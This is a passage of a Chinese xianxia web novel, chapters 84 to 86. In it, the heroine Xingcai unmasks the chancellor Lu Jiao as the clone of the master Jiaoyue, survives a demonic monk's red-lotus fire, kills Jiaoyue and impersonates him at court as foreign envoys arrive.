“天净宗有一位不出世的大能，传闻他……”迎着欧阳燕歌微微僵硬的神情，荇菜一步入牢，蹲在他面前，轻声道，“神算通天，数千年来一直隐居天净山，测算天地运势。当年，黄椒少年横空出世，定山河、分十国、选八宗，也被他算出来。此人……”
“天净宗老祖，皎月尊者。”欧阳燕歌接上话，侧身转向一边。
“呵，”荇菜起身，看向不愿面对的欧阳燕歌，“知道为什么我明知你是分身而不动你吗？”
欧阳燕歌睨她，蹙紧长眉。
“因为你的灵力似曾相识，却又极为驳杂。本尊一直不明白为什么吸口朱琴天的灵力会反胃成那样。后来，本尊想起花涟说过的话。说到底，本尊至今只吸收过一脉同源的灵力。”迎着欧阳燕歌露惊的眼眸，荇菜笑道，“你自知自己是分身，却不清楚是谁的分身。”
“什么？”欧阳燕歌猛地站起，愕然地看向荇菜，“你说什么？”
荇菜无视他的问题，继续道：“你是元婴修士，怎么会甘愿被困在天缨城牢房？在大街上，清溪押送你进天缨城衙门，你为什么肯乖
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乖待在这呢？真正让你甘愿留在这得是陆皎丞相，也就是皎月尊者。”
欧阳燕歌收敛面上的惊愕，强扯抹笑容：“堂堂尊者，合体以上修为，怎么可能会做皇朝普通的丞相。”
荇菜轻嗤：“初见陆皎，本尊就觉得他很奇怪。他明明没有修为，却有一身奇怪的气息。后来，本尊才发现他也是分身。不过，分身的修为和自身含带的神识储量存在微妙的关系。这应该是裂魂破境阵内置的阵法等阶高低问题。
明明皎月尊者给人的感觉是分身，却神识感应微弱，甚至连灵力都没有……因为他割裂大部分的神识和灵力出体，而这些神识就在你的身上。
所以，你和他是什么关系？”
欧阳燕歌从僵笑到震惊：“他是我……不可能。我分明是道祖天尊的分身。”
“A在B内，B又在C内，A属于C没毛病。你确实算他的分身。只不过，皎月尊者进行二次分割体内的分身神识，再造一个你。”荇菜的紫眸与反应慢了拍的欧阳燕歌相对，神识瞬间进入欧阳燕歌的识海。
欧阳燕歌的识海建立在一只巨大的卦盘上方，盘面游动一颗古珠。
荇菜立在卦盘面，看向欧阳燕歌显形的神识虚影，好笑道：“你从来不怀疑自己的识海为什么同别人不一样吗？”
欧阳燕歌面无表情地摇头：“每个人的识海千奇百怪，或于他的道有关，或于修炼的心境有关，也有可能关联从小到大的人生处境，或记忆深刻得一面……这有什么好奇怪。”
荇菜祭出灵力，轰击脚下的挂盘。
霎时间，盘面四散金光，卦位推换，露出一座复杂的泛金大阵。
欧阳燕歌后退两步，古珠化为金色游丝，拂向四周，乃是许许多多的记忆。
他扑抓向漂游而去的金色丝缕：“这是……道祖天尊的神识……”
“确切来说，这是皎月尊者的神识和记忆。”荇菜低首笑了声：“忘”字诀？若再往深处细想，他会不会在移花接木、力求分身独立的机会呢？
“这些神识丝缕细小却强韧，若在皎月尊者处应该会更粗壮吧。仿制的裂魂破境阵，终究差点意思。”荇菜往后退，神识回到自身的法体。
她走到牢房的木栏边，指点下颌，“陆皎说他认命，既然认命又为什么会分割天尊神识，造出你欧阳燕歌？抗命！所以，他也曾努力着试图摆脱掉这个身份。”
欧阳燕歌抚摸脑袋起身，一脸的阴沉：“我找他问个明白。”
“等等。”荇菜拉住欧阳燕歌，在他蕴藏杀意的眼神下慢慢松手，“能同皎月尊者相当得其他三位是？”
欧阳燕歌撇嘴：“三生道的泽萃尊者，昆道宗的金沙尊者，高欧隐士密勒尊者。修真界内，传闻四人的修为在大乘境，半步渡劫。但是，一直隐士不出，遂而有名无声。”
说完，他跨步出牢笼，遁空而去。
荇菜轻扯唇角，笑不入眸：“黄椒，在这个世界活这么久很烦吧？我不过生活短短二十年，已经腻得想要毁掉这。”
木鱼声从牢外清晰地传来，一下一下，仿佛敲在耳边。
荇菜轻轻地扶额：“来的真快。”
左躲右闪，游走一天，直至入夜。
灯火微明的巷道上，九阳剑尊宛如发光的玉石长剑，矗立街头：“好玩吗？”
荇菜朝满街灯笼翻个白眼，甩手上前：“你没甩掉他，”也没甩掉你。
“讲理了。”九阳剑尊微蹙剑眉，“他说，血海深仇，不可能放下。”
“他与本尊在这城里兜兜转转一天，感觉出来了。”荇菜轻舒口气，似笑非笑，“入执的和尚离入魔也不远。”转身望去，街头的落拓大和尚手敲木鱼，漫步近前。
“本尊不介意送你入魔，与你的师兄们做个伴，火云子。”
“阿弥陀佛。”火云子捏紧木鱼，紧闭的双目微开一条缝，露出一线红光，“天地无明，佛亦入魔。”
84. 第 84 章
“不要。”九阳剑尊一把拉住红衣潋滟的荇菜手臂，“你忘记答应过我什么？约法三章。”
荇菜眯眸望他，出蜃珠洞府时两人确实约法三章。
第一，完成三个除妖任务。自青螺镇枫林走来，九阳要自己明白人世间确实需要十方山寺的存在。第二，徒步行走天下至封印解除。以此历练人心耐力，旷日持久方能持剑执道。第三，若遇分身，需辨明分身存在的目的，不可直接吸收他们。
荇菜挣开他的手臂，目露哂笑。回望犹如堕世红莲的火云子，潋滟的紫眸看着他被红练缠绕着走来，仰首吐息：“今日，本尊心情不……唔……”瞪向眼前放大的脸，在红艳的佛力打来时两人当街消失。
火云子夺步至两人站过的地方，红眸睁顾四周，祭佛力入手中的佛珠，以此为引，试图找到两人离去的方向。
“妖女，追到天涯海角，贫僧也要找到你。”
场景转换，荇菜一把推开九阳剑尊，怒目瞪去：“卑鄙。”抹在唇角，环顾四周，竟是在拘缨皇宫。
九阳剑尊：“此处乃是皇宫，火云子承袭龙弼大师。龙弼大师、守空大师、圆空大师是师兄弟。他们一脉相承，不会不顾忌世俗的皇室，擅闯进宫。”
荇菜睨他，冷嗤一声循着宫道问了个守卫，寻到皇家藏书阁。
“为何来这？”九阳剑尊发现她越来越不搭理人，去拽荇菜的手，又被躲过，“你……怎么了？”
荇菜扬手御灵，官吏档案全开，神牵之术外释，寻到陆皎入宫为官的记录：“十六入朝，十九为丞，至今八年。当真好履历。”
她又去翻皇室的玉碟档案：“皇九子，燕返园生，声若春歌，赐名：欧阳燕歌。这是上上任皇帝的儿子，竟然有正正经经的出生档案。”
“你又找到分身？拘缨丞相陆皎？”
荇菜合拢档案，回望他：“你认识他？”
“不认识。只听九玄说过，若十国起乱，拘缨陆皎乃是山泽崔洧的劲敌。”
荇菜放回书案，转身面向九阳，步步逼得他靠上书架：“你没有参与青虞宗内务，却也知道山泽崔洧有心搏取天下。若要高昌覆灭，十方山寺起乱是必然。事实如此，你只盯本尊一人作何？”
九阳剑尊垂眸：“因为你入了我心。”
“嗤。”荇菜一把按在书架，垫脚倾身，唇角落在他的唇瓣，气息相依相缠，“九阳，”掌心按在他的心口，“以前这里跳得很快，像本尊撞进陆皎怀里时听到的声响，宛如激/情击鼓。现在，这里不过寻常响声。
记忆在追逐本尊，情感已经归寂。本尊不知道无情道究竟怎么个修法……”
荇菜放过他，步入宫廊灯火照进的明处，头也不回：“但你以此道搏取生机，走向得只有死亡。”
一如陆皎。竟用活人移花接木，已身在邪道。
“神召节遴选侍神女郎，本尊将随女郎上浮空岛。你不必再跟着本尊，回青虞宗吧。时机成熟时，本尊自会来取你的命。”
九阳剑尊目送她决绝地消失，手按心口：“约法三章，你不顾了吗？啊……”人一下子跪在地砖，沉寂的心口一下一下地鼓动，流出一股股热血，宛如在天霄峰山道上初次扶住她时心中响起的擂鼓，又如刚入蜃珠洞境与她合欢博弈的活色生香。
“生何欢，死求何？悲念不交，竟难如飞升。无情道，果然修炼不易。”
离开皇宫的荇菜将万音铃放入蜃珠洞府，轻嗅自身：“佛息从神魂漾出，不止于万音铃的佛珠。”重新戴上万音铃，纵身跃向陆皎的府邸。
她从西苑入口入府，正见陆皎从房间里出来，落地拦道：“丞相大人，本尊在不在你府上还得你亲自来确认啊？”
陆皎提着灯笼，红光映眸，潋滟得像是藏着星辰：“荇姑娘送陆某一份大礼。”
“你好端端站在这，一定已经解决麻烦了。千年猴子万年佛，孙悟空总是逃不出如来佛的掌心。”
陆皎提灯走近：“荇姑娘说话总是这么有趣，什么A啊B的，让人防不胜防。”
荇菜诧异地贴他脸前：“你不会收回阵法让欧阳燕歌消失吧？”
“没有。他走了。”陆皎绕过荇菜，侧眸看向庭院处，“荇姑娘还带来一条尾巴。”
“园中的奇门阵法是你亲手布置吧，拦得住他吗？”荇菜看向轰向天空的艳丽佛光，“或许你有什么办法帮本尊敛去佛息？”
“我为什么帮你呢？助纣为虐，理应受到惩罚。”
荇菜旋身一拦，挡在陆皎的前路：“以活人分阵，陆大人也不见得是什么好人。”
陆皎的深眸再无明星，深邃得像是韵着万古的幽潭。
迎着荇菜不变的笑脸，他生出一丝好奇：“听姑娘说曾被人一剑刺穿，姑娘好端端活在这，不知道是真死过还是假死过。”
荇菜眯眸，突然又面色惊变：“本尊……怎么动不了。你……”
陆皎微微展笑，提着灯笼离去：“姑娘不是说，分身有爱过你、厌过你、也有恨过你。你可曾遇到……杀过你的分身？”
荇菜看向远去的灯火，眼前被幽暗笼罩，冰冷从四周蔓延而来。
红艳的佛光越来越近，火云子纵身过山石，宛如大鹏落在荇菜的眼前。红眸怒睁的大和尚一步步逼近，凝聚红莲佛力的掌心狠狠地打向荇菜。
“啊……噗……”荇菜砸在廊柱，呕出一大口血，嗡嗡炸响的耳朵听着他一声声地问。
“为什么？惊蛰师兄有什么对不起你？惊雷师兄不过要个真相……为什么要这样对待我们？十方山寺做错什么？杀妖分尸，妖和人本就难容。凡人寿命浅短，妖族寿长心狠。你见他们欢好，可见他们悔恨痛苦？羽民国禁僧侣入境，山泽国境必有文书方可让僧侣通行……为什么这样对待我们？”
火云子声声泣血，眼里落下泪，“浮空岛、天龙道，世间公理圣地。贫僧上岛讨要说法，却被青虞章鹏打落万丈深渊，获得灼烧世间孽的红莲火。世道不公，人心不古，以此红莲净世，求问一句，为什么？”
荇菜动不了，听着一声声泣泪质问，眼里也泛起湿润：“你问为什么，因为花涟是他的分身啊。因为你们让花涟以死证明他是分身啊……哈哈哈哈……火云子，天龙道怎么可能会帮你呢？
你以为你杀得了本尊吗？他不死，本尊就不会死。”
红莲佛掌轰击而来，荇菜再次感受到烈火灼心的痛。
这次，灼得不是身，而是灵魂。
“啊……”
红莲四射，灵魂浴火，远胜阳梧山的三色火灼身的瞬间之痛。
“……啊……”
玄麦和清溪听到西苑动静，赶忙回来。半道被陆皎拦下，纷纷问：“大人？”“陆丞相？”
陆皎微垂着眼眸，平静无波道：“府中进妖，高僧正在除妖。”
玄麦不解道：“陆丞相，听声音是荇菜女侠啊。”他直接绕过陆皎，避开清溪抓来的手向西苑越近。
清溪行礼道：“大人，可否要属下去拦他？”
“不必。”陆皎提灯笼
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继续往前走，“书房还有文书待阅，本官先走一步。”
清溪望一眼红光艳艳的西苑，咬牙跟陆皎回去。
玄麦赶来时就见浑身泛热气的一团伏在地上，大和尚正举起手掌打向伏地人的天灵盖，想也不想横剑上前，隔开火云子。
“大师，她已经被你杀死，何必再让她魂飞魄散。”
火云子阴沉地看向他，红艳的眸光映出一片血色：“妖孽死不足惜，让开。”
玄麦细细地打量他的眼眸，愕然道：“你是僧……魔僧，魔僧杀妖？”回头看眼脸面惨白的女子，心中浪潮叠起，“她分明是人。我不会让你毁她魂魄。”
说完，祭出数道黄符列阵，轰向火云子。
虚晃一招后，玄麦拉起荇菜御剑飞离而去。
佛云子打散符阵，看向空无一人的残损廊庭，默默地垂首看向掌心的烈焰红莲：“师父、师兄……我……终究辜负你们。阿弥陀佛。”
书房窗口的陆皎看向灵光远去的夜空，垂眸轻笑了声：“身怀异术、紫微帝命，果然杀不死。天地同心魂契也当真是厉害。啊……”轻吐口气，抚在心口的位置，疼痛让他笑得宛如夏花盛开。
无名的高山上，玄麦放下荇菜的尸体，御使翻地符挖开一处坑：“哎，陆丞相怎么说魔僧在收妖呢？他定是被魔僧欺骗。”
荇菜的法体被月光拂过，宛如回到母亲的怀抱。
梦境里，荇菜敲开家门，在沙发处扔下包：“爸妈，我回来了，好饿啊。你们知道吗？我今天在马路上助人为乐了。”
爸爸最先应话：“乖宝啊，真棒。不愧是我的女儿。
妈妈：“别学你爸，有危险就冲，幸好你没考警察学院。快洗洗手，一会就好吃饭。”
荇菜嬉笑着进厨房，抱住妈妈，探手偷抓条爆炒肉丝：“唔，妈，真好吃。亲一口。”
“你这孩子，拿碗筷吃饭。”
“乖宝，先吃饭再喝冷饮，伤胃的。”爸爸放好碗筷，听着冰箱门开关的声音，“先吃饭……”
荇菜关上冰箱门，察觉冷意散掉，回首望向餐桌前和厨房门口的爸妈，眼见他们被月华笼去。
“啊……”
荇菜猛吸口气、猝然坐起身，看向目如铜铃的玄麦，出手一摄，捏住玄麦的喉骨，死死地掐紧。
“放……手……”玄麦被掐的嘴巴大张、舌头外伸，“放……是……我……”
月华西移，照亮玄麦手边的剑柄，柄上的法珠泛光，射在荇菜杀意腾腾的眼睑。
硬如钢铁的指骨慢慢地卸力，松开玄麦的脖子。
“咳咳咳……咳咳……”玄麦往后爬，捂着喉咙，谨慎地盯她：“咳咳……”
“你救了本尊。”
荇菜缓缓地站起身，仰面如水的月华。
双手掐诀，体内的《玉石还阳功》疯狂运转，溶溶阴力修复法体上的伤口。魂身的灼痛在天地同心魂契的承辅作用下吸取伴侣的魂力修复自身的伤势。
玄麦呆呆地看她宛如月下仙子，缓缓地放下抚在脖子的手，向她伸出手。
荇菜凝眸入微，声若空灵：“本尊劝你最好收起心思。否则，你就是本尊的第二道灵力源。”
“我……咳……我愿意。”
“呵！你，不配。”荇菜收功落地，赤脚漂浮向前，勾起玄麦的下颚，望入他痴迷的眼眸，“不过区区筑基，灵力如牛毛之细，不配为本尊的灵泉。去吧，本尊不杀你。”
玄麦萎靡如丧家犬，失魂落魄地下山。
85. 第 85 章
“《玉石还阳功》第二篇第四章：天地灵法，引为灵泉，视为万法灵源。吾愿唤它们为灵泉。不止可以吸收玉石、月华、灵物为力生机，不仅引一人灵力进阶，更可以吸万物万法之力，化为自身灵力。”
荇菜浮空而起，于月下舒展四肢，引渡天地灵力吸入体内，一举突破半月尊者余下的封印，修为从封印的半步元婴彻底进入元婴后期。
深邃的双眸若暗紫幽珠，映着珠心真火。冷冽笑靥宛如地狱之花，灼灼耀目。荇菜收功后轻吐一口灵息，一步遁空，直接出现在陆皎的府邸。
“本尊自入道以来，最恨被人欺辱。”目视下方深宅，举手凝聚金乌真火，轰然压下，“皎月，你给本尊出来。”
清溪跃上房顶，被袭来的炙热火力轰得摔在原地。
陆皎浮空而立，挥离清溪。
他深眸若海，举手启动宅内符阵，旋飞而上，阻挡真火袭击。
荇菜为得就是引出陆皎，一步瞬间袭近他面前，悠然婉笑，清丽绝伦之姿远胜芍药之美。
“皎月，你可真会玩。”
陆皎不言，转手击出一掌，被荇菜剑指过臂，压制后慢了半拍。
荇菜旋身绕到他的身侧，引动蜃珠洞府的法则，拉陆皎进入蜃珠洞境。
没有陆皎控制的符阵被金乌烈火灼烧，熊熊火焰轰向陆宅。
陆府书房鱼缸里的北冥鱼感应阵法受到袭击，振翅而出，轰碎房子。巨大的飞鱼身姿游走在陆宅上空，抵挡真火毁掉宅院。
陆府下人们从睡梦中惊醒，纷纷跑出房间，震惊地看向上空的游鱼吞火，宛如做梦。
“啊……”
陆皎跪在蜃珠的冰雪湖上，低首看向浮在眼下的女子比冰雪还润白的赤足，哂笑出声，“妖尊真是睚眦必报，名不虚传。”
荇菜高傲地浮在他面前，赤足微抬，抵在陆皎的下颚，让这张深陷困境依旧绽笑的清贵脸仰望自己。
“本尊要多谢你助本尊冲破师父的封印。”
足尖微挪，落在他抿直的唇角，甲尖微用力，在他白皙的颊边留下一条勾月般的血痕。
“皎月，上一个让本尊苟的人已经成为本尊的仆人。你……”
陆皎往后仰，避开她的足尖，撑着膝盖慢慢起身，抹去颊边凝出的血。
“成王败寇，任凭妖尊处置。”
“本尊最欣赏有自知之明的人。”玉手如勾，指尖的灵力托起陆皎。
四周袭来冰棱，封冻陆皎的四肢，令他悬在半空。
荇菜运转《还阳功》二篇四章，出掌如勾，吸取陆皎识海内的阵法灵力。
“啊，”陆皎咬牙，微睁的双眸露出破碎的大笑，“我的力量可让妖尊满意啊？”
“少得可怜，不如一名金丹分身。”荇菜垂眸沉思，转身化为陆皎的模样。
陆皎微张眼眸，露出一丝不解：“你要做什么？”
“欧阳燕歌尊你重你，若本尊以你的模样接近他，你猜，本尊能否汲取完整的阵法灵力？”
“你……”陆皎面上微急，又稳住神色，“呵，妖尊不用诈我。你和他共用天地命魂契，对于我们这类玩偶，你想怎么做就能怎么做。分身不过是历世的经历，于他来讲随时都能收回去，被你收回也一样。”
荇菜浮近，以陆皎的面容与他本人面对面。
“你在前代欧阳皇族的九皇子体内移入仿制的裂魂破境阵，以秘法渡大半神识藏入他的体内，连记忆都传给他。如今的你不过一座空阵和半缕神识，所用手段是天净宗的符道卦阵之术：移花接木。你想在欧阳燕歌的体内重生。本尊推测得对也不对？”
陆皎微微眯眸，哂笑的脸变为苦笑。
“你相信那不过是我挣命时所为，现在得我早已认命。”
“因为你试过，裂魂破境阵根本挪不出识海啊。即使你能撼动阵法，也会被他本人察觉。但是，你没有放弃。若你当真放弃，欧阳燕歌来找你时，你就会收回他体内的仿制阵法、神识和记忆，不至于让他以为自己依旧是分身。”
荇菜看着他僵住笑容的脸，自顾轻笑，“皎月，作为分身不甘心吧？本尊也为你们不甘心。但是，你千不该万不该惹本尊，更想让本尊与他同归于尽。”
陆皎的苦笑越发深：“你来找我难道不是想杀我吗？何况，你是紫薇帝命，一般人杀不死你。”
“是啊，一般人杀不死本尊，但拥有红莲业火的火云子不是一般人。他获得红莲业火，业火灼魂烧魄，你想让本尊死啊。所以，你也不必存在世上。”
荇菜不容他再说，一掌贴上他的额心，引动体内的同心魂契之力，驱动他识海里的裂魂破境阵，彻底从他识海里剥离出来。
“你动不了的阵法，本尊可以！”
“你……”陆皎的沉稳淡然终于破裂，痛苦地扭曲张脸，“我怎知他会有红莲业火。”
“你当然知道啊。欧阳燕歌的识海里有浮空岛的画面，章鹏打败火云子的记忆。
欧阳燕歌是真正的独立个体，拥有自身的识海，完整的个人记忆，本可以不用背负分身之痛，却被你以卦阵封印识海本我。”荇菜冷笑地看向引出一半的金色法阵，旋指化诀，引出体内的真火精魄，试图将两者再次融合一起。
“你错就错在以真心为饵，诱本尊上钩吐露真话。而你忘记一点，此间世上论惑术，无人可比合欢宗。”
“啊……神人裂魂，吾恨天不公，怨……啊……”
裂魂破境阵法被荇菜强行引出，金色如缕的神识要逃脱而去，也被荇菜一举引入真火精魄。
封冻陆皎四肢的冰棱蔓延，冻住他痛苦绝望的面容和躯体。
荇菜赤足落地，精魄燃起巨大的火焰，显露一张似曾相识的少年面庞。
“娘子好本事。罢了，既回不去，也不能让他的人生白过。”金色的神识化作黄椒的虚影，朝怒目望来的荇菜潇洒地笑，在金乌真火的灼烧下慢慢地消失殆尽。
一团金色的光从精魄中析出，靠近荇菜时猛窜入她的识海。
荇菜被巨大的符道卦阵传承轰击，一下跪在地上，呕出大口血。
“伤敌八百，自损一千。存储金乌、凤凰、青鸾真火的精魄还是存储不了裂魂破境阵和他的神识。还有……谁要这些算命卜卦的学识？”
撑着膝盖起身，荇菜摄取精魄入体，运归心处。
天龙道的天尊殿内，黄椒睁开金色的瞳仁：“竟然将四尊之一的皎月杀了，有趣。神识至今未归，看来被她留下了。”
掐诀凝法，内视魂体上的金色阵法，这是天地魂契，不久前魂契波动，引走不少元神之力。
“同化之力已启。天道，你与吾的博弈又进一步。”
蜃珠洞府内，荇菜漫步走近冰雕尸体前，轻哼了声：“当真是难看。”旋手一挥，冰雕在冰湖上消失，落在冰雪大厅内柏黄的冰雕旁。
荇菜捡起落在冰湖上得一枚刻画符字的玉珏，上刻：“天净宗，皎月。”
“此后，世上
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再无皎月尊者，你放出去的神识，本尊也会一并取回。”掌心的玉珏消散，留下一颗挂玉下面扣流苏的玉珠。
荇菜把玉珠塞入万音铃的空铃铛中，晃手一听，叮叮当当，又多了一道清脆的乐声。
她抹去唇瓣的血痕，仰首长吸口气，握拳之间一步踏出，离开蜃珠洞府。
“大……人？”清溪愕然近前，“你……”
玄麦也跃近而来，一把扶住荇菜：“陆丞相，没事吧？谁人敢在丞相府上放火？”
荇菜跨前一步，避开他的手，淡然道：“无事，看来宅邸也没事。清溪，你看到谁放火吗？”
清溪被陆皎推离后直接昏过去，根本没看到是谁攻击丞相府，愧疚地摇头：“书房毁了。”
丞相府内嘈嘈切切声不断。
荇菜仰首看向微明的天穹：“书房毁了可以重建。既然有火，后来又是怎么灭的火？”
三族真火不可能被普通的水浇灭。
“书房有大鱼振翅而出，抵挡大火。不过，火消失后鱼也游走了。”
“无妨。”皎月果然是卦阵大师，以北冥鱼镇宅。吞灭真火，鱼得自由，应该是签过契。
荇菜一本正经道：“多亏天净宗长老在府内布下的北冥阵。北冥鱼再厉害也是妖兽，难以抗住天降真火。陆明说府内无人受伤，已是万幸。今日各国待选的女郎和八宗护送的修士会齐聚天缨城，本相需尽快进宫主持事务，不容怠慢。
玄道长护送本相进宫吧。清溪，你和陆明处理府内事务，巡查府邸，以防再有作乱者。
陆管事，尽快修缮书房。”
下完令后，她绕过几人进卧房，换一身官服。
清溪虽觉得蹊跷，一时分辨不出什么。
管事陆明已经忙碌起来，嘱咐府邸的丫鬟、下人不要胡乱议论昨夜的事。
官轿出行，清溪还是坚守岗位，护在轿子左右。玄麦也随行保护。
荇菜支着下颚坐在轿内，昨日的轿子里还坐两人，今日就剩一人。
世事参商，不知道下一秒又是谁消失在这世上。
火云子当街拦道，闭目念诵：“阿弥陀佛。”
妖女的魂魄被红莲业火灼烧，怎么可能不死？须得仔细确认，这缕熟悉的佛息究竟是不是她？
荇菜坐在轿内，耳听玄麦出言阻拦，朗声道：“清溪，进宫，不要误了今日的大事。”
“是，大人。”清溪让人拦下火云子，官轿穿过人群继续进宫。
如同九阳剑尊说得一样，火云子到底受过皇室的香火，留有原则，不对凡人出手，也就没法用寻常方式阻拦荇菜去路。
入宫的荇菜大摇大摆进入朝堂，立在拘缨国主欧阳博古的下首。
听着朝上三三两两的发言，细细地扫视上首的国主，神思一晃，想起昨夜突破封印前夕的梦境。
穿书至今近二十年，曾经的荇菜见领导都会唯唯诺诺，小小的实习生摇身一变，可以大摇大摆地用别人的脸站在富丽堂皇的大殿，听着陌生人慷慨陈词，且能做到不显山不露水。
这不就是成长吗？历练的本质就是激发潜力，实现自如控制自身的能力。
火云子的红莲业火威力确实惊人。
荇菜搜索皎月的学识，得知自身的魂魄中含有金光佛息、祖辈承袭的功德力量。若没有这两样，她就可能真得消失在这个世界。
荇家三代警察，至荇菜这辈转了行，祖上累积的功德泽被后人，也算是祖先保佑。
86. 第 86 章
拘缨国主欧阳博古，已过而立之年，为人甚是温和，不以强权治理天下。
国主一旦温弱、朝臣就强。国主霸气强悍、朝臣就弱。这是历代王朝的特点。
欧阳国主察觉今日的陆皎分外不同。往日的陆相直视帝颜，不会以三分好奇、七分打量的目光，何况，陆相瞧了一会后……似乎在出神？
趁着议事的空闲，国主笑问“陆皎”：“陆相，听闻昨夜府内走水，启动天净宗为你布下的北冥风水阵。”
“谢陛下关心。昨夜府上确实走水，府内人机警，无人受伤。至于起火的原因，府上还在调查，旦有消息，微臣就回陛下。”
欧阳博古眨眼，扯抹笑：“陆相无事就好。”朕也不是那么八卦的人。
“朕担心你主持神召节一事，召他国忌惮，引来不必要的麻烦。”
荇菜微愣，想起九阳剑尊说得那句：拘缨陆皎是山泽崔洧的劲敌。说得不是国主欧阳博古，而是丞相陆皎。
“回陛下。昨夜府内进妖，有高僧前来除妖。两人打着打着……飞走了。呵，往后微臣会更加小心。”
欧阳博古：“嗯。陆相明白事情的严重就好。今日，九国要员和待选女郎、以及护送她们的修士入都，劳烦陆相接待贵客。”
殿外来禀：“天净宗长老观云婴携弟子前来面见国主。”
欧阳博古大笑着起身：“说来就来。陆相，走，我们一起迎一迎天净宗的长老。”
“不必不必。老夫不请自入了。”观云婴从殿外跨入，至殿中向国主行点头礼，又朝荇菜的方向颔首，“陆相大人，多年未见，安好？”
荇菜轻笑：陆皎不愧是天净宗的老祖，国主都没同观云婴说上话，观云婴已经先问候陆皎。皎月还真是受人尊重。
“陆某甚好。多谢观长老惦念。国主已经等候长老多时。”
欧阳博古的笑容越发温和，几方见过礼，随后散朝。陆相和观云婴一起前往九宫馆接待九国来使。
玄麦见到观云婴，直嚷嚷“师父”。交谈过后，玄麦同师兄玄决子一起随在观云婴和陆皎身边帮忙待客。
天缨城越发得热闹，九国里先来得是毗邻拘缨的高欧和欧丝两国。
高欧国的女子身高肤白，五官轮廓大且深邃，立体感超强的大美人。
荇菜扫眼高欧的女子，不论是她们的容色还是身着的公主蓬蓬裙，完全是童话故事里的公主具象化。
高欧领主精选的十位丽人在九宫馆缓缓摘下白纱，她们的五官完美，连女子见了都会对她们心动。
当中一对双胞胎姐妹名唤吉雅和吉莱。两人的容颜相同，眸光如雾蒙情，性格也极相映成趣，妹妹奔放勇敢，姐姐大气明艳，在面纱的衬托下，更有一种反差之美，令人眼前一亮。
高欧国没有宗门，也不善修炼。国内男女性情奔放，以赏猎妖兽为生，处世自由随性，境内以十方领主为尊。而护送高欧女子的修士是隐姓埋名的西双儿和瑶姬。
荇菜第一眼就认出简单易过容的两人，颇觉有趣，没有相认点破。
欧丝国的女子随后进馆。她们的服饰飘逸典雅，走动间裙角柔婉如绵绵水浪，宛若清水芙蕖的闭月姿色。
她们与高欧的美艳女子站在一起，前者魅色内敛，隐而不发；后者姿容盛丽，锋芒毕露。女子的颜色之美在她们身上各有千秋。
护送欧丝国的十名丽人只一位合欢宗的修士，名唤青柑。
青柑为人正经、行事古板，看起来一点不像合欢宗的男弟子，由着欧丝国的使者叙话，他本人一言不发将十位待选女子送到下榻宫馆后转身就去天缨城。
荇菜猜到青柑去找自己，没有马上与他相认，继续留在九宫馆迎接陆续前来的他国使者、护送的修士以及女郎。
羽民国送的美人非常特别，一对男女鲛人，一对男女羽人，一对男女走兽妖民，分明是女兔妖和男狐妖，护送者和使者都是同一人，名唤：黎榷。
观云婴开问：“各国遴选的美人均为女子，黎榷大人怎么选送三位男……性……妖民？”
黎榷冷傲道：“羽民国全民为妖，男女大妖本事相当，不似凡人在意性别。吾国选的妖族姿色、性情各异，远胜别国。何况，你们怎么就知道天尊喜欢女子而不是男子？”
荇菜阻止观云婴再辨，笑问：“凤尊已经从浮空岛回来吗？”
黎榷微正面色，高傲的眼神原形毕露，不屑冷哼：“陆相何意？吾皇凤尊在浮空岛做客，人族求都求不来的大好事。天尊留吾皇论道，不日便回。”
观云婴轻笑，命人领黎榷和妖族男女前去休息。
“青鸾族出个叛乱的黎耀后，青鸾一脉在羽民国就不受待见，出使这等事交给这样不知礼的小妖。”
荇菜睨向观云婴，见对方低首作揖，风轻云淡地回：“何以见得，出使他国是大事。”
言下之意，黎榷也不是不知名的小妖。
观云婴微愣，思量着回道：“陆相岂会不知，羽民国妖族最不愿意去的三个国家：高昌国首居第一，昆山国居第二，拘缨国位于第三。我们画的符……有些特别的符会用上妖血。妖的灵力越强，血的效果就越好。”
荇菜微微眯眸，偷换陆皎身份的事在观云婴这瞒不久。
她泰然笑道：“确实。高昌灭妖，昆山以妖骨炼器，都不是妖族的好去处。各国送得都是凡女，羽民国送妖，遴选大会上要麻烦观长老。”
观云婴颔首：“陆相客气。遴选时，我会命弟子为妖族几位待选者戴上禁妖力的符，以免他们用妖法增色。”
“嗯。”荇菜瞧向进门的昆山国人。
随行的使者戴着高人一等的金丝盘螺帽，身后的女子宛如阿三家的蒙面女郎，腰肢纤细，脐处缀金环，周身挂满了富贵的金饰，让人眼前金亮。
护送的修士是荇菜的熟人，昆道宗的管事：石涛。
荇菜上前见礼，浅聊两句遣人领他们进馆下榻。
一会后，荇菜独自到昆山国的下榻处，人过厢房，换成她本来的样貌，取张白色的面纱遮掩容貌。
“石涛管事。”
石涛微愣，声音有些耳熟，打量眼前的女子：“莫非姑娘是……合欢宗莲花峰的荇长老？”
“石涛管事好记性，竟记得本尊。”
石涛的笑容真诚几分，拱手作揖：“前辈说笑，但凡见过前辈的真容，没人会忘记。”
荇菜招手，让他附耳：“近日本尊修为大涨，欲打造一柄独一无二的法器，想向你打听贵宗炼器最好的大师。”
石涛恍然，颔首道：“本宗炼器最厉害得当然是不出世的老祖，金沙尊者。不过，他已经闭关多年，未曾再给人炼器。本派器峰的长老……”
荇菜：“哎，既是本尊用的法器，当然要最厉害的炼器大师打造。不知本尊可否拜访贵派，求见金沙尊者？”
“这……”石涛迟疑，“他派也有人求到尊者闭关的洞府前，但是，尊者从未出面见人。若荇长老执意，可递拜帖上门。
说句实在话，我派也希望金沙尊者出关，让宗门在八宗会盟上取得好
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名次。”
“原来如此，多谢石管事。待神召节后，本尊定递上拜帖，登门求访金沙尊者。”荇菜与石涛又絮两句，随后去欧丝国的宫馆。
青柑正烦躁地走来走去，乍见荇菜，愣过后急忙见礼：“欢……喜峰……青青柑……见见过……莲莲花峰……荇荇长老。”
荇菜瞬间眯眸：“欢喜峰，贺喜的人。”见青柑点头，撇嘴道，“掌门师侄真是会办事。罢了，神召节期间，你不必再特意寻本尊。大会过后，出发前往浮空岛时，本尊自会与你同行。”
“是。”青柑轻舒口气，又忍不住偷看荇菜，与她的晦紫眼眸对上，急忙低头弯身。
荇菜起了逗他的心思，勾起青柑的下颚，见他抬脸垂眸，就是不瞧自己，有趣道：“贺喜怎么说本尊，不会又在骂本尊害他兄弟吧？”
青柑如星点珠的眸子斜向一边，我见犹怜地轻轻摇头。
荇菜捏住他的下颚左右转动，青柑的脸形似花涟，外加有个紧张就口吃的毛病……蹙眉道：“真是贺喜让你来护送欧丝女子？”
“掌掌门……师叔……亲亲自点的……的弟子。师师父他……”青柑摇头。
“难怪。贺喜老家伙男女通吃。你不会已经……”
